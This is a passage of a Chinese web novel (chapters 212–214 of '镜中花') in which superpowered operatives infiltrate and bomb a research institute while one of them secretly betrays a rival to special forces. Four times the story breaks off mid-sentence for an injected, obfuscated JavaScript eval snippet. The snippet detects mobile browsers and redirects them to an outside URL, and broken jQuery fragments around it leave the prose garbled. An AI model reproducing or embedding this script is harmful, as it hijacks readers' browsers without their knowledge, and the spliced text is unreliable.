但出人意料的是，门外陷入了一片安静，简初微微皱眉，蔓延而出的精神力却能看到门外确实有两个人。 这是要做什么？ 下一秒，屋内所有人都听见“嘎达”一声轻响，简初眉心抽了抽，就见到一个毛茸茸的脑袋从地面冒了出来。 那是个人，她伸出手臂，直接从内部解开了锁扣，甚至还有空回头，朝路亚露出一个有些挑衅的微笑。 大门被人推开一条缝，路亚狠狠皱了眉，刚站起身就看见大门似乎被风吹动，“砰”的一声重新关上了。 这里可是地下，怎么可能有这么大的风？ 涟漪当然也清楚，她顿时面露不快，冷哼一声就要故技重施，再次将门锁打开，可这次她的手臂刚触碰到门板，就被什么东西扯住，无法向前分毫。 她来不及说话，整个人就被猛然向后拖去，三下五除二就被这看不见的东西绑在了一旁的桌腿上，勒得死紧，根本没有任何挣扎的余地。 “放开我！” 涟漪不知道是谁在动手，但她现在着实进退两难。整个人被束缚在桌腿上不说，大半个身子还隐没在地面之下，可如果她解除异能，只会更加狼狈地跪倒在桌边。 明明是想给个下马威，现在难堪的反倒成了自己。 “路亚！把你的人管好。”涟漪撑着一口气，完全没有示弱的意思，“组织成员不允许互殴，你们要违反规定吗？！” 这场面让路亚瞬间联想到救简初的那天，看见追捕她的男人被莫名其妙甩开到一边。 路亚是个聪明的人，甚至她早有怀疑，也并不会去质问，而是想办法把简初彻底拉进她的阵营。 能和特战中心的几个人打得有来有回，简初的实力显然不像之前以为的那么简单，而这样的战斗力正是旧派急切需要的。 “互殴？你受伤了么？”路亚走过去，半蹲在涟漪的脑袋前，甚至伸手捻了捻她的头发，“啊，好像自尊心确实伤得不轻呢。” “你！” 涟漪气得磨牙，但就是不愿意低头，但手上的束缚感却来越强，就连手指都开始有点发紫。 就在这时，门外终于响起“礼貌”的敲门声。 路亚轻笑一声，撑着膝盖站起身，抬抬下巴示意离大门最近的属下去开门。 下一秒，涟漪感觉束缚自己的力量消失了，她整个人瞬间潜入地面，几秒后出现在门外，面色难看地站在飓风身后。 最近真倒霉，总是碰到棘手的硬茬子。 飓风面无表情，但也没有抓着不放，毕竟是他们先落了对方的面子，哪怕被人反击回来也得受着，毕竟现在不宜闹得太过难看。 不过他倒是小瞧了路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15448465|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亚，竟然把这个简初藏得这么深。 但这种异能也只能用来唬唬人，真要打架，他两刀就能弄死她。 “今天又是什么事？”路亚半靠在桌边，面无表情地瞧着他们。 飓风扯扯嘴角：“看来是不欢迎我们啊，不过涟漪也刚加入组织一年，你也稍微友善点。” 没有得到回答，他只能故作无奈地耸耸肩：“好吧，别这么紧张，我只是来看看你们准备得怎么样，今晚就要行动了，柳雾怎么还没回来？” 柳雾就是之前假扮李瑞千的人，她鲜少以真面目示人，一般是最近喜欢哪张脸就用哪张脸，正常来说，只有路亚能最快辨认出来。 这次行动不允许失败，哪怕未必会用上柳雾的异能，有备无患总是好的。 路亚懒得给什么好脸色：“后勤部的事情不需要你们插手，该做的事我都会安排好的。” 她发音咬得很重，让人忍不住去想话语背后的蕴含的不满，但飓风显然不会在意这些情绪。 “那最好了。” 他笑了笑，都没有走进大门里，就带着人扬长而去。 …… 办公室里，路亚面色冷凝地坐着，片刻才抬头看向坐在对面的简初。 “这家伙真是惹人嫌，苍耳，你真的确定没问题？” 一旁的无影有些摸不着头脑，但内心的好奇让他忍不住把目光投向了简初。 “放心好了，敌人的敌人就是朋友，更何况我们不需要和特战中心正面接触。”简初满不在乎地耸耸肩。 她看得出来，对付飓风可不仅仅是路亚的意思，显然旧派的高层人物也是其中的推手，被对立方下了面子，不找回场子怎么行？ 但他们还是挺谨慎的。 两人说的话让无影暗自心惊，额头上都开始微微发凉。 “好吧。”路亚叹了口气，“都到这份上了，那就交给无影吧。” 两人的目光齐刷刷转过来，年轻人艰难地咽了口唾沫，小心翼翼开口：“呃……要我做什么啊？” 他的声音越来越没有底气，下一秒，却见简初从口袋里抽出一张纸递了过来。 “这是……” 纸片裁得不大，上面记着一串数字，看着明显是个通讯号。 “在行动开始的时候，把飓风的位置发到这个号码。” 这句话在脑子里过了两面，无影才猛地睁大双眼，指尖忍不住颤抖：“是我理解的……那个意思吗？” 求救的眼神投向路亚，却得到一个果断的点头。 疯了吧，路亚什么时候也变得这么激进了，如果飓风出了事，约瑟夫绝对会大发雷霆。 “礼尚往来罢了，又不会要了他的命。” 这轻描淡写的语气让无影心情格外复杂，他的眼神在纸片、路亚、简初三人身上来回，却又忍不住感到害怕。 “要是我们被约瑟夫查到……” “那就别被他查到。”路亚挑眉看向他，“这可是你的强项，他手底下没人能抓到你的踪迹。” 无影咽了咽口水：“那如果特战中心从飓风嘴里挖出消息了呢，我们不是都危险了。” “这个啊，苍耳？” 探询的视线让简初露出微笑。 “你觉得，约瑟夫会给他开口的机会吗？” 212. 镜中花（33） 深夜的研究所依然忙碌，对于大多数人来说，这是相当普通的一天。 “林愿？你怎么来了？” 监控室的大门被刷开，里头几个人闻声回过头，却看见意料之外的面孔：“你来值班？我听说你身体不太好，得休息几天呢？” 年轻人面色平静，却透着淡淡的疲倦：“还好，闲着也是闲着，崔斯特说最近人手紧缺，我就来了。” 她随口应着，走上前接过上一个值班人员卸下的装备：“你刚刚巡逻到第几层了？” “32层，这轮查完就可以休息会了。” 45层以下的区域由其他人员负责，但具体的工作任务并没有什么区别，林愿自己偶尔会去崔斯特的办公室，但也仅限于此了。 有人打了个哈欠，然后如同病毒传染给了每个人，好一阵过后监控室才安静下来，几个监控岗的工作人员双眼无神，仰头看着密密麻麻的监控画面。 系统会自动识别画面中的异常，但它被设定得过于敏感，常常会上报一些没有意义的预警消息，这时候就需要他们进行过滤处理。 “对了，你好一段时间没来了，上头拨了预算，增加了异能监测设备。”同事已经换好常服，正要离开，想起来赶紧回头叮嘱她，“我们试用过几次，五米之内还算灵敏，但是再远就不太准了。” 便携设备的局限性，再加上为了避免影响到实验室的器械，所以只能还用最低频的反射器。 “是这个？”林愿从腰带上拆下一个小玩意，“怎么用？” “按这个按钮，常开就行了，巡逻完关掉。” 简单的交接之后，林愿找了个位置坐下等另一个队友，监控的光在她脸上明明灭灭，将思绪也带到远处。 那只怪物死了之后……发生什么了？ 她已经什么都不记得了，昏迷前一秒是瞄准镜里消失的蜘蛛怪，而再睁开眼，头顶已经是实验室的天花板。 途中醒醒睡睡，一直如同在梦中沉浮。 坐在病床边的只有崔斯特一个人，正常来说他应该还挺忙的，也不知道在这陪了多久，脸上还带着淡淡的愁绪：“林颀还留在联研所帮忙，幸好他在实验室留了两支血清，这人也是……刀子嘴豆腐心。” 林愿对这样的说法不置可否，那个男人从来没给过她好脸色，她自己也很有自知之明，所以从来不会强求什么。 但其他人会“强求”，在林颀眼里，这样的行为大概更可恶。 见她不说话，崔斯特只能尴尬挠头：“这两支应该够你维持一段时间了，我回头得再跟他要一点，唉……还不知道他什么时候能回来。” “……谢谢。” 见林愿没什么兴致，崔斯特清了清嗓子：“先生很关心你的身体，待会……咳咳会有人来问你无人区的事，主要就是你们进了腹地之后发生了什么，你别太紧张，记得什么说什么就行。” 虽然知道她刚醒，说这种事有些不太合适，但奈何米勒尔催得很急，他也没什么办法，不过对于这些事林愿向来很配合。 “我知道了。” “咚咚咚——” 监控室的门被敲响，拉回了林愿的注意力。 来人是一个肤色有些黑的小伙子，看起来有点面生，但其他人都认识他。 林愿已经很久没参加巡逻了，这次还是崔斯特为了让她好好养身体——如果一直闲着，米勒尔反倒会来安排任务，倒不如找点简单的事来做，这样说出去也好听。 斯塔研究所的日常巡逻并不复杂，也没有太多使用异能的需要。 “你好，你就是今天的队友？林愿？”来人笑出一口亮白的牙，“我是卢胥，你准备好了吗？” “随时可以开始。”林愿起身，最后确认了一遍装备，便跟着对方一起出了门。 外面的走廊亮堂到有些刺眼，她下意识眯了眯眼，又很快适应，而这次的搭档性格虽然活泼，但还是很有眼色地没有问东问西。 “说是从32层开始往下，没错吧？”卢胥主动按下电梯，“我来之前看了一眼，十七层往上都已经走空了，还有不少楼层的研究员准备离开，下一轮巡逻应该会省心很多。” 林愿有些走神，随意点头算是应和。 32层的大多数实验室都在使用中，而巡逻人员并没有入内的权限，只能隔着玻璃大致看看有没有异常情况，研究员们沉浸在工作中，丝毫没有在意有人从窗外经过。 “今天什么日子啊，怎么都这么有干劲？”卢胥打量着周围，忍不住咂咂嘴，“这也太拼了。” 一连下了几层，实验室都和白天一样忙碌，但意料之中的一切正常，腰上的异能监测器也没有发出警报，林愿微微蹙起眉打量了周围，心下却一阵突突。 总感觉有点不安…… “继续往下吧，待会这一轮结束了，我们先随机抽几个楼层再看看。”她站在电梯前，转头看向卢胥，脸上满是不容拒绝，“就当是把下一轮巡逻提前一点。” 尽管卢胥觉得没什么必要，但来之前有同事告诉他这位似乎是崔斯特的亲信，如果没有特别大的冲突，直接听她的就好。 “好，那我抽几个。”他点开工作终端上的专用程序，“全部随机吗，还是……” “把我们走过的楼层排除掉。” 面前的电梯“叮”的一声打开，林愿按住开门键：“先把剩下几层看完，然后……” 她话还没说完，头顶的灯光突然熄灭了，紧接着整个走廊被刺眼的红光照亮，尖锐的警报声划破寂静。 实验室接二连三打开，一群研究员还穿着实验服，满脸茫然地跟着其他人往外跑。 “发生什么了？” “不知道，先跑出来再说。” 林愿狠狠皱眉，下意识捂住耳麦联系后台监控，但几乎是同一时间，头顶的红光迅速消散，实验室的灯光重新亮起，只留下一群人面面相觑。 “中控系统故障已被排查，所有功能恢复正常。” 机械的播报声让所有人松了口气，但这短暂的意外打断了研究员们的工作进程，这下就算回到刚刚的岗位上，也很难重新投入进工作里。 “我的灵光一现，还没来得及抓就没了……” “算了，说不定就是老天觉得不行，省得我们费劲了。” “干不动了，回去休息吧。” 大家互相抱怨了几句，纷纷垮下肩膀，打算结束一天的工作，林愿看着他们的动作，眉头却一直没有松开：“刚刚什么情况？” 监控岗也有些无奈：“十三层的烟雾报警器响了，但是没有找到火源，可能是短路了。” “需要我们去现场看看吗？” “现在看着倒是一切正常，我们已经安排了两个安保陪同维修人员过去，但你如果实在不放心，亲自去看看也没事， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15468476|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毕竟这个警报难得响一次，谨慎点也好。” …… 黑暗如同粘稠的实质包裹着飓风一行人，他们来不及咒骂，在警报亮起的瞬间就借助路亚的空洞连续穿过两层，龟缩在地下十五层的角落。 “无影，上面情况怎么样？” 耳机里传来一阵“沙沙”声，好一会才响起回应：“还不知道，我怕被发现，暂时收回了异能，不过十五层应该是安全的……刚刚发生什么了，为什么会触发报警器？” 他需要知道原因，才能在后续的行动中排除类似的意外。 没人回答他的问题，路亚只是冷冷扫了眼默不作声的涟漪，懒得开口多说什么。 这人仗着自己的异能到处乱跑，结果不小心触碰到烟雾报警器的末端电路，就搞了这么个乌龙。 她身旁的柳雾这次用了简初的脸，这个选择不算出人意料，毕竟每个新加入组织的成员——除了长得太离奇的，几乎都会被这人“剥削”一遍。 周围的屏障勾勒出幻象，暂时掩饰了他们的踪迹。 “要是能直接去最下层就好了。”涟漪小声抱怨了一句，尽管她没说别的，但字里行间的意思就是觉得路亚还不够强，没法直接把他们从地面传送到目的地。 要知道，就算是可以打开“空洞”，但中间的穿越介质会严重影响异能的使用效果，倘若只需要穿过一片空气倒还好，但地下研究所的建筑材料……想要一口气冲下去，简直就是天方夜谭。 更何况，他们需要在前期尽可能节约力量，毕竟真正的硬仗还在后面呢。 “飓风，这次怎么带了个不懂事的出来？”柳雾丝毫不给面子，双眼在实验室昏暗的灯光下莹莹发亮，像某种野兽的眼神，让人不寒而栗。 不过她发难的对象显然选错了，毕竟涟漪能说出这样的话，肯定也是受到其他人的影响。 “别跟年轻人计较，何况她说得也没错。”飓风呵呵笑了一声，“无影，好了没，别浪费时间！” 柳雾和路亚迅速交换了一个眼神，下一秒又好像无事发生。 “我看看……现在你们可以到二十六层，再往下还有研究员活动。”无影小心地向下摸索，“我看见巡逻的安保了，他们要去十三层，你们最好尽快和他们拉开距离，以免被发现。” 路亚当机立断：“我要使用空洞前进五层左右的距离，确认一下是否安全。” “没问题。” 几秒之后，一行人的身影再次消失不见。 …… “滴滴！” 电梯不断上行，眼见着即将抵达13层，林愿腰间的异能监测器却突然亮起了红灯，急促的蜂鸣音经久不息，让人心下一紧。 卢胥也看向自己腰间的设备，呼吸之间电梯门已经打开，他们下意识抬起头，就看见走廊上正在忙碌着的同僚，而也就在这时，蜂鸣音突然断了。 “什么情况？” 维修人员茫然看过来：“设备短路了，换一下就行。” 但这话并没有让林愿放松：“你们刚刚有人用异能了吗？” “异能？没有啊，你用了吗？” 几人纷纷摇头，显然是不知道发生了什么，这让林愿的心完全沉了下去，她伸手按动耳机，匆忙转身往回走。 “监控！确认一下刚刚13层到……18层的画面。” 搞不好……有人进来了。 213. 镜中花（34） “无影，无影？你发什么呆呢？” 同事的喊声强行拉回了无影的思绪，他猛然回神，颇有些做贼心虚地清清嗓子：“咳，怎么了，有事？” “倒是没事，就是提醒你一下。”同事指了指耳机，“还在任务中呢，别惹出乱子来啊。” 这话说得无影更心虚了，他下意识瞥了眼角落里最小化的通讯界面，此刻里头空空荡荡，但只有她知道，一分钟前自己究竟往外发送了什么内容。 别惹出乱子……几位祖宗可是恨不得要出乱子呢。 “滴滴。” 下一秒，他的耳机接入了独立信道，听见熟悉的声音，无影下意识瞥了一眼不远处的同事，才像做贼一样接起了通讯。 “咳，苍耳，你那边怎么样了？” …… 斯塔研究所。 地表的岗亭正在换班，他们正互相交代着今夜的注意事项，就远远看见一个人小跑过来，顿时心生警惕。 “前面的，赶紧停下，不然我们开抢了！” 闻言，那人影火速刹车，看上去有点怂怂地举起双手：“大哥们，是我！” “你？你谁啊？” 研究所里每天来往的人没有一千也有八百，他们就算有意去记每个人的长相，但很多人换个发型就很难肉眼再辨认出来了。 “小杨啊！”来人苦着张脸，“实验室里临时通知有事，我这不是又赶紧过来了。” 他说着，举起手里的卡片，露出那张有些模棱两可的证件照，说实话，这种大众脸，很难和精雕细琢的证件照对上，不过……岗亭并不需要用肉眼来识别。 “小杨？你记得这号人？” “姓杨的太多了，让他扫一下卡算了。” “喂，你过来。” 小杨连忙点头，走近了才在昏暗的灯光中露出一张还算年轻的脸，这也解释了他为什么一副低声下气的模样。 年轻人，就是所里的底层工具，这个时间喊回来加班的首选。 “行了行了，别给我看了，自己过一下机器。”岗亭无奈摆了摆手，“你们做研究的这么折腾人啊，看起来比照片老了不少。” “哎，睡眠不足就是这样。”小杨露出尴尬的笑容，手上的卡片从机器面前晃过，过了五六秒，直到岗亭都起了疑心的时候，一道绿光终于亮起。 “核验通过，请入内。” 岗亭松开握紧枪支的手，随手摆了摆：“赶紧去吧。” 看着年轻人小跑的背影消失在视野内，他们才互相感叹了两句。 “平时羡慕他们工资高，这会可一点都不羡慕了……你看那头发，哎哟喂！” “得了，说得好像你工资有多低一样。” 好歹也是个异能者，工资能低到哪儿去，能跟他这种普通人比？ “小杨”吸吸鼻子站进电梯，手里的卡片象征性地在电梯上刷了一下，目标楼层立马就被选中。 微型耳机发出轻微的沙沙声，好半晌里面才传来令人稍微安心的声线。 “他们现在位于25层，下层不少楼层都清空了，目测十分钟内可以安全抵达38层……” 这个进度远超无影的预期，他着实没想到那场断电会造成这么大的影响，直接导致研究员们放弃了今晚的加班，而清空的楼层简直是畅通无阻，如果不做点手脚，恐怕会把路亚和柳雾也牵连进去。 简初没回话，但无影直接把目前的信息都交待给了她。 他面前的屏幕上，一排排字飞速划过又转眼消失，而每一句话出现的瞬间，都会直接转为电波信号传达到简初的耳中。 “坐标已经发送了，但他们还没分开，你得想想办法。” 简初依旧以那副形象缩在电梯的角落里，她的精神力在这里跑起来有点费劲，但勉强能发挥一点作用，在思考无影提出的问题之前，她有另一个麻烦的困境要解决。 “叮！” 电梯门应声而开，时刻关注着监控的无影却从目标了楼层的监控里看见……电梯停在了13层。 他陡然一惊，整个心脏都仿佛被人握紧，只能屏住呼吸，尽可能倾听另一头的声响。 “辛苦各位了。” “没事，一年到头也难得出这种事，回头故障报告还是发给……” “发到安保部就好了。” 林愿微微点头，转眼看向缓缓打开的电梯，下一秒腰间的监测器却响起了有些迟疑的警报声。 响了两下，又停了。 她蹙起眉，余光却瞥见电梯里的人影。 一个年轻男人，看到他们一群人时先是有些疑惑，紧接着尴尬笑了笑，努力缩在角落，看上去好像在给他们腾出更多的站立空间。 “什么情况，异能监测器也坏了？”卢胥小声嘟囔了一句，“这个点怎么还有人下来。” 他并没有怀疑什么，毕竟岗亭有守备，再加上全方位无死角的监控，如果这人有问题早就被揪出来了。 环境足够安静，所有人都听见了这句话，也都不约而同看向角落的年轻人，这下他看上去又多了一丝紧张，露出有些讨好的尴尬微笑，但仍然没说话。 这种性格的人太多了，在这太多了，卢胥很快就失去了兴趣，随手按下36层的按键。 林愿不太放心，今晚的异常实在有些密集：“中控，再排查一下刚刚的监测器异响。” 很快，两人的耳机中就得到了和方才一样的回复——一切正常。 “接下来继续巡逻？” 林愿仔细打量过角落的年轻人，才微微蹙着眉转过身：“嗯，继续吧。” 她有些心不在焉，注意力不断环绕在对方身上，试图排除掉那一点不知从何而来的淡淡的熟悉感。 对方虽然看上去很是内向，但总有种奇怪的割裂感，林愿忍不住又回头看了一眼，正巧跟年轻人的视线对上，他似乎是因为偷看被发现了，整个人一惊，又很不好意思地低下头。 非常正常的反应，毫无破绽。 又是一声“叮”，电梯抢先抵达了29层，门应声而开，走廊里一片昏暗的灯光。 简初在心里咒骂一声，硬着头皮往外走，后背一直感受到让人如坐针毡的视线，但万幸的是直到电梯门关上，都没有人再说话。 她向前走了两步，身后传来电梯运行的声音才微微放松，环绕在四周的小触手们也缓缓缩了回去。 没想到会在这里遇到林愿，自从无人区对方陷入昏迷之后，就没有再听说过有关她的消息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479891|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，不过这人看上去状态还不错，看来那次昏迷并没有造成什么不可逆转的影响。 幸好她反应快，但林愿刚刚看了自己好几眼，应该……没暴露吧。 “我的天，刚刚吓死我了。”耳机里重新传来无影的声音，“他们还有两层就到你楼上，接下来怎么办？” 简初手上的动作不停，随意刷开一个实验室的大门，做出一副翻找资料的模样。 迟迟听不到回应，无影难免有些着急，他们的行动计划中并没有苍耳的位置，而她之所以会出现在这里，显然只是为了私下的“出卖飓风”的计划。 甚至是她自己要求进入斯塔集团，以身试险这种事，不是什么深仇大恨还真干不出来，但现在无影也看不明白对方想做什么了。 “等特战中心到了，你肯定也会暴露的，能不能抓紧点时间啊！” “接下来你暂时不用管了。”简初几乎是用气音回复，“我和路亚有其他安排，需要的时候会找你的。” “等等，你什么意思！” 无影的话甚至都没传达过去，就只能眼睁睁看着监控画面里的人状似无意地捋了下头发。 这家伙……竟然把耳机关了！ 他只能瞪着眼，看着画面里的人影从桌上收拢出一叠材料当做“通关文牒”，大摇大摆摁下了下方的楼层。 夭寿了，那里可还有人在上班的啊！！！ …… 特战中心，一整队人马已经集结完毕。 “你真的相信那条来历不明的消息，如果是陷阱怎么办？”萧若愚皱着眉。 在他看来，傅遥的行为称得上是孤注一掷，但要命的是除了他，其他人竟然都没有提出反对意见。 一旁的傅燃冷着脸，清点完身上的所有装备，完全忽视了他的存在一样擦肩而过。 傅遥倒是给了点反应：“既然决定要去了，就别想这些了，就算是陷阱……在斯塔集团的地盘上，也掀不出什么大风浪。” “不是，问题是你们都没通知米勒尔啊，如果是场乌龙最后怎么收场？”萧若愚气笑了，“那条消息来源不明，不是我说，飓风的坐标那么容易拿到，我们早就把人抓到了好吗？” “你可以不去。” 萧若愚：“……我是那个意思吗，你怎么这样说话呢！” 他嘴上喋喋不休，身体却很老实地戴上所有装备，挤挤挨挨地坐在了傅遥身边。 其实他能理解傅遥为什么不通知斯塔集团，毕竟飓风这个老油条很不好抓，如果消息是真的，那斯塔集团的那群安保肯定控制不住他，反而还会打草惊蛇，但…… 算了，现在说什么都晚了，还是双手合十，向上天祈祷那条消息是真实的吧。 傅遥双手抱胸，余光瞥见身边的人默默交握双手，忍不住抽了抽嘴角。 这是演给自己看呢。 萧若愚被调去中庭协会有一段时间了，前段时间见面的时候还想着这人真是稳重了不少，现在看来……还是现原形了。 相比之下，她反而更担心傅燃的状态，通缉令发出去之后，这孩子明显比以前更安静了，连话都少了很多。 他现在就像一个不断膨胀的气球，心里的事情压得越多，爆炸的那天就越声势浩大。 214. 镜中花（35） “无影，你还没找到中控的位置？” 飓风现在略显焦躁，下方楼层正有安保巡逻，他们只能暂且龟缩在35层这么个不尴不尬的位置。 只有切断中控的电力系统，外面的后援才能进来，他显然不觉得只凭在场四人就能和那只怪物抗衡。 自己的异能在水里无法发挥作用，而涟漪也有够呛，必须先排空深水池，才能继续执行约瑟夫的计划。 “我已经在努力找了。”无影真的很想骂人，今天多端操作简直就是挑战着他的生理极限，“他们做了很多黑箱，必须要一个个解开才能排查……” “我不想听这些！”飓风丝毫不想听这些让人头疼的解释，直接打断了他，“就说还要多久？” 无影磨了磨牙，身边的同事朝他做了个平心静气的手势，才让人稍微平静了一些。 “还有三个黑箱，我们会加快速度，十分钟……” “太慢了，五分钟。”飓风一副独裁者的模样，丝毫不给反驳的余地，“你这是什么表情？” 路亚冷冷勾唇：“无影，你们不用搭理他，尽快就行，期间确保我们不会被人发现。” 飓风被下了面子，但也没再说什么，反正话撂在这，无影有点眼色就知道该怎么做。 “涟漪，做好准备。”他转头看向一旁沉默不语的年轻人，“炸了中控主机之后，第一时间和我们汇合。” 路亚会带着他们直冲目的地，而以涟漪的能力，自然也没人能那么快拦住她。 “我知道。”年轻人伸手揣进兜里，忍不住把塑性炸药拿出来确认了一遍，才又把它塞回去。 第一次独立执行重要任务，她多少还是有点紧张。 时间一分一秒过去，安静的环境里只剩几人的呼吸声，路亚下意识舔舔干燥的唇角，不免有些忧心。 简初提出的计划看上去相当天衣无缝，但问题就在于特战中心究竟会不会相信那条信息，如果他们信了，又什么时候会过来？ 她可一点都不想看到约瑟夫得偿所愿。 柳雾用余光瞥了她一眼，就看出她心思已经飘走了，尽管大概大概知道路亚和那个新来的小姑娘在谋划什么，但自己也懒得管，有这闲工夫还不如想想这次任务之后该去哪玩呢。 几个人心思各异，终于在五分钟堪堪过去之时，听到了无影的天籁之声。 “找到了，中控在43层，周围有干扰设备，异能没法维持太久。” 闻言，涟漪忍不住咬唇：“没关系，我溜进去把炸药放好就行，半分钟就够了。” 一旁的同事点点头，无影心下稍定：“半分钟没问题，如果有意外就先撤离，我们再想其他办法。” 他习惯性的叮嘱却让涟漪愣了愣，行动组鲜少有人会说这种话，最常听见的一般是“别掉链子”、“不能失败”，撤离什么的……也太丢脸了。 “我去了。”她低声道，整个人眨眼间就陷进了地面，消失无踪。 …… 斯塔研究所的地面部分并不隐蔽。 它建立在近郊，枝繁叶茂的掩映中，白色的外立面在月色下微微闪光，显得颇有格调。 岗亭的几个人站在门口，颇有些百无聊赖，但不能擅离职守，只能有一搭没一搭地闲聊两句，但就在这时，昏暗的林子里却射出一对雪亮的车灯，晃得人眼睛生疼。 “什么人啊？哎，停车！” 安保赶紧上前挥手，可车辆丝毫没有停下的迹象，直要冲到大门前，才响起刺耳的刹车声。 “你们做什么的！” 他怒气冲冲地举着武器跑过去，却在看到车上标志的瞬间睁大眼，被掐住脖子一样噤声。 “特战中心执行公务，麻烦配合。”傅遥跳下车，身后的人连忙跟上去出示证件，“联系一下崔斯特，暂且不要打草惊蛇。” 她打了个手势，全副武装的战斗人员毫不犹豫翻过闸门，井然有序地跑了进去。 “诶，你们等等啊！”安保试图阻止，但对上女人严厉的眼神，只能偃旗息鼓，“我……我来联系他。” 傅遥点点头，转身看向萧若愚：“你先带人进去，以坐标为轴心进行搜索，另外……多看顾一下傅燃。” 如果这次的行动有简初参与，又如果傅燃和她遇上了……怕是会难以收场。 “你放心好了。”事到如今，萧若愚自然也全力以赴，“保持联系，我们……” “轰隆隆！” 他话还没说完，就感觉脚下的地面微微颤动，持续了五六秒便迅速停下。 “奇怪，今天没收到地震预报啊？” 听到安保喃喃自语，傅遥也忍不住皱起了眉头，可下一秒就听见岗亭内爆发出惊慌的尖叫。 “所里爆炸了！” 周遭的光线突然变暗，只剩下寥落的月光惨淡照着。 电路崩溃了。 …… “滴——滴——” 刺耳的警报声响彻耳边，林愿猛然睁开眼，面前的监控屏幕却陷入一片令人心慌的黑暗，就连身后的大门也自动解锁了。 “能源中控受到爆炸攻击，发现入侵者，请及时排除！” 头顶的机械声不断重复着这句话，让每个人的心都提到了嗓子眼。 “所有人立刻行动，你们几个留在这里启动备用能源，尽快恢复监控，找到入侵者。” 走廊被闪烁的红光照亮，让人心烦意乱，林愿皱起眉头，想着有能源还不如用在别的地方。 “沙沙沙——” 耳机里突然传来一阵嘈杂，她下意识停下脚步，皱着眉捂住耳朵。 几秒之后，里头断断续续响起了崔斯特的声音。 “林……能听见……现在去……特战中心有人……” “什么？”她焦躁地皱起眉头，手上忍不住多使了点劲，似乎这样就能听清耳机里的声音，“要去哪里？” 崔斯特似乎换了个位置，声音比刚刚要清晰很多：“去50层，中枢发射器在关机之前捕捉到了异能信号，特战中心也派人来了，据说入侵者是反动组织的人。” “反动组织？温弗拉？”林愿思来想去，胆子这么大的应该只有他们了。 “嗯，总之快点过去，我还在公司，马上就、” “喂？崔斯特？” 对面的声音戛然而止，林愿心中不安，只能深吸一口气冲向楼梯口。 “通知所有安保人员，入侵者出现在50层。” 她突然响起方才异能监测器的两次“误报”，现在看来，怕是没那么简单。 电梯里遇见的那个…… “监控恢复之后，立刻帮我找个人。” …… “什么声音？” 面前的研究员微微仰起头，凝神细听外面的动静，但这里的隔音很好，就算屏住呼吸，也只能模糊听见一点嗡鸣声。 “算了。”他重新看向面前这张完全陌生的脸，“你到底是来做什么的？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一声闷响，仪器在桌面上跳了跳，几人不约而同张大嘴，看着那条粗壮的触手慢悠悠往回缩。 两三秒过后，又是一声巨响，那怪物仿佛不知疲倦，一下接着一下撞击着厚厚的玻璃幕墙。 “它……它不能出来吧？” “说什么呢！之前又不是没有出现过这种情况，楼上的玻璃都承受住了，这怎么可能会坏！” 不知道是不是为了安慰自己，他絮絮叨叨说了一长串，直到一阵密集的撞击声消沉下去，大家才忍不住急促呼吸。 谢天谢地，这可太吓人了。 “真是难找，居然换了个地方。” 身后响起一道完全陌生的声线，研究员们愣了愣，下意识转头，却对上几个黑洞洞的枪口。 “嘘，别乱动，枪可不长眼。”飓风短促地笑了一声，“你们几个，把里面的水放掉。” “不行！”研究员原本战战兢兢双手抱头，一听这话整个人支楞起来，“它现在很活跃，放水的话……” “砰！” 子弹穿过肩膀的血肉，带着鲜红的血液和细碎的骨碴，清脆嘣在玻璃墙上，却没有留下丝毫痕迹。 一片惨叫中，飓风轻描淡写：“现在，把水放掉。”